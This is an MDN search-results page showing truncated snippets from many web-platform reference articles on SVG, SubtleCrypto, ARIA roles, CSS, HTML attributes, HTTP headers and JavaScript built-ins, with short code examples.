...ke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline point...
...s="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" hei...
...And 3 more matches
SVGTextElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" ...
...x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</tex...
...t></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y...
...And 3 more matches
SubtleCrypto.decrypt() - Web APIs
it takes as arguments a key to decrypt with, some optional extra parameters, and the data to decrypt (also known as "ciphertext").
... it returns a promise which will be fulfilled with the decrypted data (also known as "plaintext").
... function decryptmessage(privatekey, ciphertext) { return window.crypto.subtle.decrypt( { name: "rsa-oaep" }, privatekey, ciphertext ); } aes-ctr this code decrypts ciphertext using aes in ctr mode.
...And 3 more matches
SubtleCrypto.deriveBits() - Web APIs
async function derivesharedsecret(privatekey, publickey) { const sharedsecret = await window.crypto.subtle.derivebits( { name: "ecdh", namedcurve: "p-384", public: publickey }, privatekey, 128 ); const buffer = new uint8array(sharedsecret, 0, 5); const sharedsecretvalue = document.queryselector(".ecdh .derived-bits-value"); sharedsecretvalue.classlist.add("fade-in"); sharedsecretvalue.addeventlistener("animationend", () => { sharedsecretvalue.classlist.remove("fade-in"); }); share...
...dsecretvalue.textcontent = `${buffer}...[${sharedsecret.bytelength} bytes total]`; } // generate 2 ecdh key pairs: one for alice and one for bob // in more normal usage, they would generate their key pairs // separately and exchange public keys securely const generatealiceskeypair = window.crypto.subtle.generatekey( { name: "ecdh", namedcurve: "p-384" }, false, ["derivebits"] ); const generatebobskeypair = window.crypto.subtle.generatekey( { name: "ecdh", namedcurve: "p-384" }, false, ["derivebits"] ); promise.all([generatealiceskeypair, generatebobskeypair]).then(values => { const aliceskeypair = values[0]; const bobskeypair = values[1]; const derivebitsbutton = document.queryselector(".ecdh .derive-bits-button"); derivebitsbutton.addeventlistene...
...r("click", () => { // alice then generates a secret using her private key and bob's public key.
...And 3 more matches
TextEncoder - Web APIs
textencoder.prototype.encodingread only always returns "utf-8".
...it is designed to work in ie5 "out of the box".
... if (typeof textencoder === "undefined") { textencoder=function textencoder(){}; textencoder.prototype.encode = function encode(str) { "use strict"; var len = str.length, respos = -1; // the uint8array's length must be at least 3x the length of the string because an invalid utf-16 // takes up the equivelent space of 3 utf-8 characters to encode it properly.
...And 3 more matches
Writing a WebSocket server in Java - Web APIs
.net.socket; import java.security.messagedigest; import java.security.nosuchalgorithmexception; import java.util.base64; import java.util.scanner; import java.util.regex.matcher; import java.util.regex.pattern; public class websocket { public static void main(string[] args) throws ioexception, nosuchalgorithmexception { serversocket server = new serversocket(80); try { system.out.println("server has started on 127.0.0.1:80.\r\nwaiting for a connection..."); socket client = server.accept(); system.out.println("a client connected."); socket methods: java.net.socket getinputstream() returns an input stream for this socket.
... inputstream in = client.getinputstream(); outputstream out = client.getoutputstream(); scanner s = new scanner(in, "utf-8"); handshaking when a client connects to a server, it sends a get request to upgrade the connection to a websocket from a simple http request.
... try { string data = s.usedelimiter("\\r\\n\\r\\n").next(); matcher get = pattern.compile("^get").matcher(data); creating the response is easier than understanding why you must do it in this way.
...And 3 more matches
Keyframe Formats - Web APIs
element.animate([ { // from opacity: 0, color: "#fff" }, { // to opacity: 1, ​ color: "#000" } ], 2000); offsets for each keyframe can be specified by providing an offset value.
... element.animate({ opacity: [ 0, 1 ], // [ from, to ] color: [ "#fff", "#000" ] // [ from, to ] }, 2000); using this format, the number of elements in each array does not need to be equal.
... element.animate({ opacity: [ 0, 1 ], // offset: 0, 1 backgroundcolor: [ "red", "yellow", "green" ], // offset: 0, 0.5, 1 }, 2000); the special keys offset, easing, and composite (described below) may be specified alongside the property values.
...And 3 more matches
Background audio processing using AudioWorklet - Web APIs
access the audio context's audioworklet through its audioworklet property, and call the audio worklet's domxref("worklet.addmodule", "addmodule()")}} method to install the audio worklet processor module.
... glitch project page see the code try it live creating an audio worklet processor fundamentally, an audio worklet processor (which we'll refer to usually as either an "audio processor" or simply as a "processor" because otherwise this article will be about twice as long) is implemented using a javascript module that defines and installs the custom audio processor class.
... basic code framework the barest framework of an audio processor class looks like this: class myaudioprocessor extends audioworkletprocessor { constructor() { super(); } process(inputlist, outputlist, parameters) { /* using the inputs (or not, as needed), write the output into each of the outputs */ return true; } }; registerprocessor("my-audio-processor", myaudioprocessor); after the implementation of the processor comes a call to the global function registerprocessor(), which is only available within the scope of the audio context's audioworklet, which is the invoker of the processor script as a result of your call to audioworklet.addmodule().
...And 3 more matches
Window.devicePixelRatio - Web APIs
html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); // set display size (css pixels).
... var size = 200; canvas.style.width = size + "px"; canvas.style.height = size + "px"; // set actual size in memory (scaled to account for extra pixel density).
...ctx.scale(scale, scale); ctx.fillstyle = "#bada55"; ctx.fillrect(10, 10, 300, 300); ctx.fillstyle = "#ffffff"; ctx.font = '18px arial'; ctx.textalign = 'center'; ctx.textbaseline = 'middle'; var x = size / 2; var y = size / 2; var textstring = "i love mdn"; ctx.filltext(textstring, x, y); monitoring screen resolution or zoom level changes in this example, we'll set up a media query and watch it to see when the device resolution changes, so that we can check the value of devicepixelratio to handle any updates we need to.
...And 3 more matches
Window.pageYOffset - Web APIs
example var contenthtml = ` <h2 id="introduction">introduction</h2> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
...quisque vel turpis justo.</p> <h2 id="overview">overview</h2> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
...integer euismod lectus a ipsum pellentesque lacinia.</p> `; document.getelementbyid("frame").contentdocument .body.innerhtml = contenthtml; in this example, an <iframe> is created and filled with content, then a specific element within the document is scrolled into view in the frame.
...And 3 more matches
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
const {cc,ci} = require("chrome"); function createtcperrorfromfailedxhr(xhr) { let status = xhr.channel.queryinterface(ci.nsirequest).status; let errtype; if ((status & 0xff0000) === 0x5a0000) { // security module const nsinsserrorsservice = ci.nsinsserrorsservice; let nsserrorsservice = cc['@mozilla.org/nss_errors_service;1'].getservice(nsinsserrorsservice); let errorclass; // geterrorclass will ...
... let error = cc["@mozilla.org/dom-error;1"].createinstance(ci.nsidomdomerror); error.wrappedjsobject.init(errname); return error; // xxx: errtype goes unused } function dumpsecurityinfo(xhr, error) { let channel = xhr.channel; try { dump("connection status:\n"); if (!error) { dump("\tsucceeded\n"); } else { dump("\tfailed: " + error.name + "\n"); } let secinfo = ch...
...annel.securityinfo; // print general connection security state dump("security information:\n"); if (secinfo instanceof ci.nsitransportsecurityinfo) { secinfo.queryinterface(ci.nsitransportsecurityinfo); dump("\tsecurity state of connection: "); // check security state flags if ((secinfo.securitystate & ci.nsiwebprogresslistener.state_is_secure) == ci.nsiwebprogresslistener.state_is_secure) { dump("secure connection\n"); } else if ((secinfo.securitystate & ci.nsiwebprogresslistener.state_is_insecure) == ci.nsiwebprogresslistener.state_is_insecure) { dump("insecure connection\n"); } else if ((secinfo.securitystate & ci.nsiwebprogresslistener.state_is_broken) == ci.nsiwebprogressli...
...And 3 more matches
XMLHttpRequest.overrideMimeType() - Web APIs
this may be used, for example, to force a stream to be treated and parsed as "text/xml", even if the server does not report it as such.
...if the server doesn't specify a type, xmlhttprequest assumes "text/xml".
... example this example specifies a mime type of "text/plain", overriding the server's stated type for the data being received.
...And 3 more matches
Using the aria-labelledby attribute - Accessibility
this idea is similar to how the "for" attribute is used to link a label to an input.
... examples example 1: multiple labels in the example below, each input field is labelled by both its own individual label and by the label for the group: <div id="mybillingid">billing</div> <div> <div id="mynameid">name</div> <input type="text" aria-labelledby="mybillingid mynameid"/> </div> <div> <div id="myaddressid">address</div> <input type="text" aria-labelledby="mybillingid myaddressid"/> </div> example 2: associating headings with regions in the example below, header elements are associated with the content they head.
... <div role="main" aria-labelledby="foo"> <h1 id="foo">wild fires spread across the san diego hills</h1> strong winds expand fires ignited by high temperatures ...
...And 3 more matches
ARIA: timer role - Accessibility
<div role="timer" id="eggtimer">0</div> this defines this div element as a timer with no remaining time.
... <div id="clock" role="timer" aria-live="off">20</div> <button onclick="starttimer('clock')">start</button> /* basic javascript to update a timer */ function starttimer(timername) { // get the number of seconds let timer = document.getelementbyid(timername), seconds = parseint(timer.innertext); // remove a second // updated the content of timer timer.innertext = --seconds // if timer ...
...for instance, when the clock changes from "17:33" to "17:34", assistive technologies will only announce "4", which won't be very useful to users.
...And 3 more matches
ARIA: feed role - Accessibility
<section role="feed" aria-busy="false"> ...
... <article aria-posinset="427" aria-setsize="-1">...</article> <article aria-posinset="428" aria-setsize="-1">...</article> <article aria-posinset="429" aria-setsize="-1">...</article> ...
...if the addition of articles occupies the main browser thread, make sure to set aria-busy="true" on the feed itself, and make sure to set it back to false when processing ends, or the user may not see the updates.
...And 3 more matches
ARIA: Main role - Accessibility
<div id="main" role="main"> <h1>avocados</h1> <!-- main section content --> </div> this is the main section of a document that discusses avocados.
...for those navigating via landmark roles, the main role is an alternative for "skip to main content" links.there should only be one main landmark role per document.
... example <body> <!-- primary navigation --> <div role="main"> <h1>the the first indochina war</h1> <!-- article content --> </div> <!-- sidebar and footer --> </body> accessibility concerns use only one main role per document the main landmark role should only be used once per document.
...And 3 more matches
ARIA: listbox role - Accessibility
(note: "labelled", with two l's, is the correct spelling based on the accessibility api conventions.) aria-roledescription a human-readable string value which more clearly identifies the role of the listbox.
... screen readers will often read this value to the user after reading the label (if there is one), in place of saying "listbox".
... select the newly selected option, setting aria-selected="true" on the option and changing the appearance of the newly selected option to appear selected.
...And 3 more matches
ARIA - Accessibility
here's the markup for a progress bar widget: <div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100"> </div> this progress bar is built using a <div>, which has no meaning.
...in this example, the role="progressbar" attribute informs the browser that this element is actually a javascript-powered progress bar widget.
...var progressbar = document.getelementbyid("percent-loaded"); // set its aria roles and states, // so that assistive technologies know what kind of widget it is.
...And 3 more matches
Accessibility Information for Web Authors - Accessibility
automated checking & repair cynthia says™ from hisoftware® company "cynthia says™" is a free online webpage accessibility validation service that is designed to identify errors in webpage related to section 508 standards and/or the wcag guidelines.
... it can perform a "complete webpage quality check" for accessibility, privacy, searchability, metadata and even alt text attribute quality.
... the web author chooses the guidelines (as a basis for errors and warnings) to be used by "cynthia says™": section 508, wcag priorities 1, 2 and 3.
...And 3 more matches
@font-face - CSS: Cascading Style Sheets
syntax @font-face { font-family: "open sans"; src: url("/fonts/opensans-regular-webfont.woff2") format("woff2"), url("/fonts/opensans-regular-webfont.woff") format("woff"); } descriptors font-display determines how a font face is displayed based on whether and when it is downloaded and ready to use.
... to provide the browser with a hint as to what format a font resource is — so it can select a suitable one — it is possible to include a format type inside a format() function: src: url(ideal-sans-serif.woff) format("woff"), url(basic-sans-serif.ttf) format("truetype"); the available types are: "woff", "woff2", "truetype", "opentype", "embedded-opentype", and "svg".
... by allowing authors to provide their own fonts, @font-face makes it possible to design content without being limited to the so-called "web-safe" fonts (that is, the fonts which are so common that they're considered to be universally available).
...And 3 more matches
Using multi-column layouts - CSS: Cascading Style Sheets
e.g., example 1 html <div id="col"> <p> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... example 2 html <div id="wid"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... example 3 html <div id="col_short"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
...And 3 more matches
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
nline-block; } .two { color: white; background-color: black; margin: 10px; width: 150px; height: 70px; display: inline-block; } .three { color: white; background-color: brown; margin: 10px; width: 75px; } .four { color: white; background-color: brown; margin: 10px; width: 100px; } .five { background-color: brown; } we'll apply it to this html: <div> <div class="one">1:</div> <div class="two">2: text <span class="five">5 - more text</span></div> <input class="three"> <textarea class="four">4: lorem ipsum</textarea> </div> ...
...wo { color: white; background-color: black; margin: 10px; width: 150px; height: 70px; display: inline-block; } .three { color: white; background-color: var(--main-bg-color); margin: 10px; width: 75px; } .four { color: white; background-color: var(--main-bg-color); margin: 10px; width: 100px; } .five { background-color: var(--main-bg-color); } <div> <div class="one"></div> <div class="two">text <span class="five">- more text</span></div> <input class="three"> <textarea class="four">lorem ipsum</textarea> </div> this leads to the same result as the previous example, yet allows for one canonical declaration of the desired property value; very useful if you want to change the value across the entire page later.
...take this html: <div class="one"> <div class="two"> <div class="three"></div> <div class="four"></div> </div> </div> ...
...And 3 more matches
clear - CSS: Cascading Style Sheets
WebCSSclear
#container::after { content: ""; display: block; clear: both; } syntax /* keyword values */ clear: none; clear: left; clear: right; clear: both; clear: inline-start; clear: inline-end; /* global values */ clear: inherit; clear: initial; clear: unset; values none is a keyword indicating that the element is not moved down to clear past floating elements.
... formal definition initial valuenoneapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | left | right | both | inline-start | inline-end examples clear: left html <div class="wrapper"> <p class="black">lorem ipsum dolor sit amet, consectetuer adipiscing elit.
...suspendisse eget dolor.</p> <p class="red">lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p> <p class="left">this paragraph clears left.</p> </div> css .wrapper{ border:1px solid black; padding:10px; } .left { border: 1px solid black; clear: left; } .black { float: left; margin: 0; background-color: black; color: #fff; width: 20%; } .red { float: left; margin: 0; background-color: pink; width:20%; } p { width: 50%; } clear: right html <div class="wrapper"> <p class="black">lorem ipsum dolor sit amet, consectetuer adipiscing elit.
...And 3 more matches
grid-auto-flow - CSS: Cascading Style Sheets
dense "dense" packing algorithm attempts to fill in holes earlier in the grid, if smaller items come up later.
... if it is omitted, a "sparse" algorithm is used, where the placement algorithm only ever moves "forward" in the grid when placing items, never backtracking to fill holes.
... this ensures that all of the auto-placed items appear "in order", even if this leaves holes that could have been filled by later items.
...And 3 more matches
image() - CSS: Cascading Style Sheets
examples directionally-sensitive images <ul> <li dir="ltr">bullet is a right facing arrow on the left</li> <li dir="rtl">bullet is the same arrow, flipped to point left.</li> </ul> ul { list-style-image: image(ltr 'https://mdn.mozillademos.org/files/16412/rightarrow.png'); } in the left-to-right list items — those with dir="ltr" set on the element itself or inheriting the directionality from an ancestor or default value for the page — the i...
...list items with dir="rtl" set on the <li> or inheriting the right-to-left directionality from an ancestor, such as documents set to arabic or hebrew, will have the bullet display on the right, horizontally flippled, as if transform: scalex(-1) had been set.
... displaying a section of the background image <div class="box">hover over me.
...And 3 more matches
HTML attribute: min - HTML: Hypertext Markup Language
WebHTMLAttributesmin
for example, if we have <input type="number" min="10" step="2"> any even integer, 10 or great, is valid.
... if omitted, <input type="number">, any integer is valid, but floats, like 4.2, are not valid, as step defaults to 1.
... for 4.2 to be valid, step would have had to be set to any, 0.1, 0.2, or any the min value would have had to be a number ending in .2, such as <input type="number" min="-5.2"> syntax for min values by input type input type example example date yyyy-mm-dd <input type="date" min="2019-12-25" step="1"> month yyyy-mm <input type="month" min="2019-12" step="12"> week yyyy-w## <input type="week" min="2019-w23" step=""> time hh:mm <input type="time" min="09:00" step="900"> datetime-local yyyy-mm-ddthh:mm <input type="datetime-local" min="2019-12-25t19:30"> number <number> <input type="number" min="0" step="5" max="100"> range <number> <input type="range" min="60" step="5" m...
...And 3 more matches
HTML attribute: step - HTML: Hypertext Markup Language
WebHTMLAttributesstep
default values for step input type value example date 1 (day) <input type="date" min="2019-12-25" step="1"> month 1 (month) <input type="month" min="2019-12" step="12"> week 1 (week) <input type="week" min="2019-w23" step="2"> time 60 (seconds) <input type="time" min="09:00" step="900"> datetime-local 1 (day) <input type="datetime-local" min="019-12-25t19:30" step="7"> number 1 <input typ...
...e="number" min="0" step="0.1" max="10"> range 1 <input type="range" min="0" step="2" max="10"> if any is not explicity set, valid values for the number, date/time input types, and range input types are equal to the basis for stepping - the min value and increments of the step value, up to the max value, if specified.
... for example, if we have <input type="number" min="10" step="2"> any even integer, 10 or great, is valid.
...And 3 more matches
Block-level elements - HTML: Hypertext Markup Language
html (hypertext markup language) elements historically were categorized as either "block-level" elements or "inline-level" elements.
... by default, a block-level element occupies the entire space of its parent element (container), thereby creating a "block." this article helps to explain what this means.
...inherent in this structural distinction is the idea that block elements create "larger" structures than inline elements.
...And 3 more matches
<dfn>: The Definition element - HTML: Hypertext Markup Language
WebHTMLElementdfn
html <p>the <strong>html definition element</strong> (<strong><dfn id="definition-dfn">&lt;dfn&gt;</dfn></strong>) is used to indicate the term being defined within the context of a definition phrase or sentence.</p> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
...</p> <p>because of all of that, we decided to use the <code><a href="#definition-dfn">&lt;dfn&gt;</a></code> element for this project.</p> here we see the definition — now with an id attribute, "definition-dfn", which can be used as the target of a link.
... later on, a link is created using <a> with the href attribute set to "#definition-dfn" to set up the link back to the definition.
...And 3 more matches
<form> - HTML: Hypertext Markup Language
WebHTMLElementform
this value can be overridden by a formaction attribute on a <button>, <input type="submit">, or <input type="image"> element.
... this value can be overridden by formenctype attributes on <button>, <input type="submit">, or <input type="image"> elements.
... this value is overridden by formmethod attributes on <button>, <input type="submit">, or <input type="image"> elements.
...And 3 more matches
<keygen> - HTML: Hypertext Markup Language
WebHTMLElementkeygen
the element is written as follows: <keygen name="name" challenge="challenge string" keytype="type" keyparams="pqg-params"> the keytype parameter is used to specify what type of key is to be generated.
... valid values are "rsa", which is the default, "dsa" and "ec".
...that is, you may specify keyparams="pqg-params" or pqg="pqg-params".
...And 3 more matches
<select>: The HTML Select element - HTML: Hypertext Markup Language
WebHTMLElementselect
holding down the ctrl key then using the up and down cursor keys to change the "focused" select option, i.e.
...the "focused" select option is highlighted with a dotted outline, in the same way as a keyboard-focused link.
... pressing space to select/deselect "focused" select options.
...And 3 more matches
Inline elements - HTML: Hypertext Markup Language
html (hypertext markup language) elements historically were categorized as either "block-level" elements or "inline-level" elements.
...first, some simple css that we'll be using: .highlight { background-color:#ee3; } inline let's look at the following example which demonstrates an inline element: <div>the following span is an <span class="highlight">inline element</span>; its background has been colored to display both the beginning and end of the inline element's influence.</div> in this example, the <div> block-level element contains some text.
...s inline, the paragraph correctly renders as a single, unbroken text flow, like this: for looks, this css (not displayed in standard reading mode) is also used: body { margin: 0; padding: 4px; border: 1px solid #333; } .highlight { background-color:#ee3; } block-level now let's change that <span> into a block-level element, such as <p>: <div>the following paragraph is a <p class="highlight">block-level element;</p> its background has been colored to display both the beginning and end of the block-level element's influence.</div> the css (not displayed in standard reading mode) is also used: body { margin: 0; padding: 4px; border: 1px solid #333; } .highlight { background-color:#ee3; } rendered using the same css as before, we get: see the difference?
...And 3 more matches
Link types - HTML: Hypertext Markup Language
<a>, <area> <link>, <form> canonical from wikipedia, the free encyclopedia: canonical_link_element a canonical link element is an html element that helps webmasters prevent duplicate content issues by specifying the "canonical" or "preferred" version of a web page as part of search engine optimization.
... if there are multiple <link rel="icon">s, the browser uses their media, type, and sizes attributes to select the most appropriate icon.
...links clicked in the ui, like "open in a new tab" via the contextual menu, ignored this).
...And 3 more matches
Using HTTP cookies - HTTP
WebHTTPCookies
the browser defines when the "current session" ends, and some browsers use session restoring when restarting, which can cause session cookies to last indefinitely long.
...the %x2f ("/") character is considered a directory separator, and subdirectories match as well.
...in this way, these cookies can be seen as "domain-locked".
...And 3 more matches
Access-Control-Allow-Origin - HTTP
header type response header forbidden header name no syntax access-control-allow-origin: * access-control-allow-origin: <origin> access-control-allow-origin: null directives * for requests without credentials, the literal value "*" can be specified, as a wildcard; the value tells browsers to allow requesting code from any origin to access the resource.
... null specifies the origin "null".
... note: null should not be used: "it may seem safe to return access-control-allow-origin: "null", but the serialization of the origin of any resource that uses a non-hierarchical scheme (such as data: or file:) and sandboxed documents is defined to be "null".
...And 3 more matches
Content-Disposition - HTTP
content-disposition: inline content-disposition: attachment content-disposition: attachment; filename="filename.jpg" as a header for a multipart body the first parameter in the http context is always form-data.
... content-disposition: form-data content-disposition: form-data; name="fieldname" content-disposition: form-data; name="fieldname"; filename="filename.jpg" directives name is followed by a string containing the name of the html field in the form that the content of this subpart refers to.
... when dealing with multiple files in the same field (for example, the multiple attribute of an <input type="file"> element), there can be several subparts with the same name.
...And 3 more matches
CSP: referrer - HTTP
syntax content-security-policy: referrer <referrer-policy>; where <referrer-policy> can be one of the following values: "no-referrer" the referer header will be omitted entirely.
... "none-when-downgrade" this is the user agent's default behavior if no policy is specified.
... "origin" only send the origin of the document as the referrer in all cases.
...And 3 more matches
HTTP range requests - HTTP
checking if a server supports partial requests if the accept-ranges is present in http responses (and its value isn't "none"), the server supports range requests.
...some sites also explicitly send "none" as a value, indicating no support.
...the "-h" option will append a header line to the request, which in this case is the range header requesting the first 1024 bytes.
...And 3 more matches
Equality comparisons and sameness - JavaScript
used by array.prototype.indexof, array.prototype.lastindexof, and case-matching samevaluezero: used by %typedarray% and arraybuffer constructors, as well as map and set operations, and also string.prototype.includes and array.prototype.includes since es2016 samevalue: used in all other places javascript provides three different value-comparison operations: === - strict equality comparison ("strict equality", "identity", "triple equals") == - abstract equality comparison ("loose equality", "double equals") object.is provides samevalue (new in es2015).
... prior to es2015, you might have said of double equals and triple equals that one is an "enhanced" version of the other.
...e.g., 6 == "6".
...And 3 more matches
TypeError: cannot use 'in' operator to search for 'x' in 'y' - JavaScript
the javascript exception "right-hand side of 'in' should be an object" occurs when the in operator was used to search in strings, or in numbers, or other primitive types.
... "hello" in "hello world"; // typeerror: cannot use 'in' operator to search for 'hello' in 'hello world' instead you will need to use string.prototype.indexof(), for example.
... "hello world".indexof("hello") !== -1; // true the operand can't be null or undefined make sure the object you are inspecting isn't actually null or undefined.
...And 3 more matches
JavaScript error reference - JavaScript
error: permission denied to access property "x"internalerror: too much recursionrangeerror: argument is not a valid code pointrangeerror: invalid array lengthrangeerror: invalid daterangeerror: precision is out of rangerangeerror: radix must be an integerrangeerror: repeat count must be less than infinityrangeerror: repeat count must be non-negativereferenceerror: "x" is not definedreferenceerror: assignment to undeclared variable "x"referen...
...ceerror: can't access lexical declaration "x" before initializationreferenceerror: deprecated caller or arguments usagereferenceerror: invalid assignment left-hand sidereferenceerror: reference to undefined property "x"syntaxerror: "0"-prefixed octal literals and octal escape seq.
... are deprecatedsyntaxerror: "use strict" not allowed in function with non-simple parameterssyntaxerror: "x" is a reserved identifiersyntaxerror: json.parse: bad parsingsyntaxerror: malformed formal parametersyntaxerror: unexpected tokensyntaxerror: using //@ to indicate sourceurl pragmas is deprecated.
...And 3 more matches
Array.prototype.toLocaleString() - JavaScript
if (this == null) { throw new typeerror('"this" is null or not defined'); } var a = object(this); // 2.
...get(a, "length")).
...get(a, "0").
...And 3 more matches
Array - JavaScript
ray let fruits = ['apple', 'banana'] console.log(fruits.length) // 2 access an array item using the index position let first = fruits[0] // apple let last = fruits[fruits.length - 1] // banana loop over an array fruits.foreach(function(item, index, array) { console.log(item, index) }) // apple 0 // banana 1 add an item to the end of an array let newlength = fruits.push('orange') // ["apple", "banana", "orange"] remove an item from the end of an array let last = fruits.pop() // remove orange (from the end) // ["apple", "banana"] remove an item from the beginning of an array let first = fruits.shift() // remove apple from the front // ["banana"] add an item to the beginning of an array let newlength = fruits.unshift('strawberry') // add to the front // ["strawberry", "b...
...anana"] find the index of an item in the array fruits.push('mango') // ["strawberry", "banana", "mango"] let pos = fruits.indexof('banana') // 1 remove an item by index position let removeditem = fruits.splice(pos, 1) // this is how to remove an item // ["strawberry", "mango"] remove items from an index position let vegetables = ['cabbage', 'turnip', 'radish', 'carrot'] console.log(vegetables) // ["cabbage", "turnip", "radish", "carrot"] let pos = 1 let n = 2 let removeditems = vegetables.splice(pos, n) // this is how to remove items, n defines the number of items to be removed, // starting at the index position specified by pos and progressing toward the end of array.
... console.log(vegetables) // ["cabbage", "carrot"] (the original array is changed) console.log(removeditems) // ["turnip", "radish"] copy an array let shallowcopy = fruits.slice() // this is how to make a copy // ["strawberry", "mango"] accessing array elements javascript arrays are zero-indexed.
...And 3 more matches
Date.prototype.toLocaleDateString() - JavaScript
the default value for each date-time component property is undefined, but if the weekday, year, month, day properties are all undefined, then year, month, and day are assumed to be "numeric".
... var date = new date(date.utc(2012, 11, 12, 3, 0, 0)); // tolocaledatestring() without arguments depends on the implementation, // the default locale, and the default time zone console.log(date.tolocaledatestring()); // → "12/11/2012" if run in en-us locale with time zone america/los_angeles checking for support for locales and options arguments the locales and options arguments are not supported in all browsers yet.
...guage used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // formats below assume the local time zone of the locale; // america/los_angeles for the us // us english uses month-day-year order console.log(date.tolocaledatestring('en-us')); // → "12/19/2012" // british english uses day-month-year order console.log(date.tolocaledatestring('en-gb')); // → "20/12/2012" // korean uses year-month-day order console.log(date.tolocaledatestring('ko-kr')); // → "2012.
...And 3 more matches
Intl.DisplayNames() constructor - JavaScript
possible values include: "arab", "arabext", "bali", "beng", "deva", "fullwide", "gujr", "guru", "hanidec", "khmr", "knda", "laoo", "latn", "limb", "mlym", "mong", "mymr", "orya", "tamldec", "telu", "thai", "tibt".
...possible values are "lookup" and "best fit"; the default is "best fit".
... style the formatting style to use, the default is "long".
...And 3 more matches
Intl.Locale.prototype.maximize() - JavaScript
for instance, given the language id "en", the algorithm would return "en-latn-us", since english can only be written in the latin script, and is most likely to be used in the united states, as it is the largest english-speaking country in the world.
...other subtags after the "-u" in the locale indentifier are called extension subtags and are not affected by the maximize() method.
... examples using maximize let mylocale = new intl.locale("fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "fr" console.log(mylocale.tostring()); // prints "fr-u-ca-gregory-hc-h24" let mylocmaximized = mylocale.maximize(); // prints "fr-latn-fr".
...And 3 more matches
Intl.PluralRules() constructor - JavaScript
possible values are "lookup" and "best fit"; the default is "best fit".
...possible values are: "cardinal" for cardinal numbers (refering to the quantity of things).
... "ordinal" for ordinal number (refering to the ordering or ranking of things, e.g.
...And 3 more matches
Map - JavaScript
see "value equality for -0 and 0" in the browser compatibility table for details.
